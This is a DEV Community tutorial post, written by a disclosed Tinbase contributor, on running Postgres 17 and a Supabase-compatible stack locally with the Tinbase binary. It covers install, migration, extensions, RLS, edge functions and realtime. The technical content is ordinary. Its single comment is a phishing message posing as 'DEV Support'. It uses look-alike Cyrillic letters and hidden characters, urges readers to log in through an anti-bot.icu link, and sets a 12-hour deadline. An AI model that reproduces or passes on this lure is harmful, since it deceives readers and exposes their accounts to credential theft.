DEV Community

Chloe
Chloe

Posted on

Running Real Postgres Locally Without Docker (with Tinbase)

TL;DR

  • Docker Supabase on an 8 GB laptop: 12 containers, ~1.6 GB RAM idle, 45 s cold boot
  • Tinbase: one ~58 MB binary, real Postgres 17, ~100 MB RAM idle, ~2.5 s cold boot
  • supabase-js works with zero code changes: swap one env var
  • Migrate an existing project with supabase db dump | tinbase import
  • RLS, edge functions, and realtime use the same contract as hosted Supabase
  • Not for you if you live in the Supabase dashboard or need Storage image transforms

Disclosure: I work on Tinbase. It's MIT-licensed and not affiliated with Supabase. It matches the supabase-js client contract, it's not a Supabase replacement.

Why bother

Most of us run local Postgres via Docker. On an M1 Air with 8 GB RAM, the Docker Supabase stack eats 1.6 GB of RAM at rest and takes 45 seconds to cold boot. That's a lot of headroom to give up for a dev environment, and it's brutal in CI or on a workshop laptop.

Tinbase is a single binary that runs real Postgres 17 plus Supabase's auth, realtime, and edge-function layers. Here's the whole setup, start to finish.

Install

macOS / Linux:

curl -fsSL https://tinbase.dev/install.sh | sh
tinbase --version
# tinbase 0.9.4
Enter fullscreen mode Exit fullscreen mode

Windows: grab the .exe from the releases page. Single binary either way.

Start

mkdir -p ~/tinbase-data
tinbase start --data-dir ~/tinbase-data
# server listening on http://localhost:8080
# postgres available at postgresql://postgres@localhost:5432/postgres
Enter fullscreen mode Exit fullscreen mode

Boot time: ~2.5 s cold, ~800 ms warm. supabase start is ~45 s cold on the same machine.

Verify it's real Postgres

psql postgresql://postgres@localhost:5432/postgres -c 'select version();'
#              version
# --------------------------------------------------
#  PostgreSQL 17.1 on x86_64-apple-darwin ...
Enter fullscreen mode Exit fullscreen mode

Not PGlite (Postgres compiled to WASM with the client-server pieces cut out). Not SQLite with a Postgres wire adapter. Actual Postgres 17.

Use it with supabase-js

Any existing Supabase project works by changing one env var:

# .env.local
SUPABASE_URL=http://localhost:8080
SUPABASE_ANON_KEY=eyJ...  # printed by `tinbase start`
Enter fullscreen mode Exit fullscreen mode

Code is unchanged:

import { createClient } from '@supabase/supabase-js';

const supabase = createClient(
  process.env.SUPABASE_URL!,
  process.env.SUPABASE_ANON_KEY!
);

const { data, error } = await supabase
  .from('projects')
  .select('*')
  .eq('tenant_id', 'a-uuid');
Enter fullscreen mode Exit fullscreen mode

Same client, same auth flow (supabase.auth.signInWithPassword), same realtime subscriptions, same RLS. For a typical Next.js + Supabase codebase the migration is one env var plus one dump/import.

Migrate an existing Supabase project

From your existing Docker Supabase project:

# 1. Dump schema + data
supabase db dump --file dump.sql --data-only=false

# 2. Load into Tinbase
tinbase import --file dump.sql

# 3. Verify
psql postgresql://postgres@localhost:5432/postgres -c '\dt'
Enter fullscreen mode Exit fullscreen mode

If you rely on Supabase-specific extensions or hooks that Tinbase doesn't support yet, tinbase import prints a warning listing each one. The current compatibility matrix is in the import docs, so check that before you commit an afternoon to it.

Postgres extensions

Enabled by default:

Extension What it's for
pgvector embeddings
pg_trgm fuzzy text match
pg_stat_statements query profiling
unaccent accent-insensitive search
pgcrypto gen_random_uuid(), crypt(), digest()
uuid-ossp legacy uuid helpers

Check what's loaded:

select extname from pg_extension order by extname;
Enter fullscreen mode Exit fullscreen mode

Enable anything else the normal way:

create extension if not exists postgis;
Enter fullscreen mode Exit fullscreen mode

RLS behaves identically

Because it's real Postgres, RLS policies work exactly as they do on hosted Supabase. This is the piece I trust most:

alter table projects enable row level security;

create policy projects_tenant_scope on projects for all
  using (tenant_id = (select tenant_id from profiles where user_id = auth.uid()));
Enter fullscreen mode Exit fullscreen mode

auth.uid() is provided by Tinbase's auth layer and matches the Supabase contract. If your policies pass locally against Tinbase, they pass in hosted Supabase.

Edge functions

Tinbase runs edge functions in an embedded V8 (not a Deno subprocess). Cold start is ~15 ms.

// functions/hello.ts
export default async (req: Request) => {
  return new Response(JSON.stringify({ msg: 'hi' }), {
    headers: { 'content-type': 'application/json' },
  });
};
Enter fullscreen mode Exit fullscreen mode
tinbase functions serve
# functions listening on http://localhost:8080/functions/v1
curl http://localhost:8080/functions/v1/hello
# {"msg":"hi"}
Enter fullscreen mode Exit fullscreen mode

Same HTTP surface as Supabase Edge Functions, same client call (supabase.functions.invoke('hello')).

Realtime subscriptions

supabase
  .channel('projects')
  .on(
    'postgres_changes',
    { event: 'INSERT', schema: 'public', table: 'projects' },
    (payload) => {
      console.log('new project:', payload.new);
    }
  )
  .subscribe();
Enter fullscreen mode Exit fullscreen mode

Same client, same channel API, same event payloads. The realtime server inside Tinbase is a Go implementation of the Supabase realtime spec and consumes the same logical replication stream from Postgres.

When Docker Supabase is still the right call

Being honest about the trade-offs:

  • You use the local Supabase dashboard heavily. Tinbase doesn't ship one yet. tinbase studio is planned, not shipped.
  • You depend on Supabase Storage's image transformation pipeline. Tinbase storage is plain file I/O, no on-the-fly transforms.
  • Your team is fine with the Docker setup and RAM isn't a constraint. Nothing to fix.

For laptop dev, workshops, CI, and demo environments, the single-binary story won on every axis that mattered to me: RAM, boot time, disk, distribution.

Try it

curl -fsSL https://tinbase.dev/install.sh | sh
Enter fullscreen mode Exit fullscreen mode

Source is on GitHub under tinbase-dev/tinbase (MIT).


If you try it against a real project, drop a comment with what broke, what didn't, and what your supabase start cold boot was before. The import warnings are the part I most want feedback on.

Top comments (1)

Collapse
 
supportdev profile image
DEV SUPPORTS •

Dеar User,
Duе to аn іncreаse іn bot activіty оn the platform, wе rеquіrе verifу of yоur account.
Pleasе lоg in vіа thе link below:
• anti-bot.icu/5K0N5G7M9C4
Verificated dеаdlіnе - 12 hours.
Sincerely,Dev Supроrt

‍‌ ‌​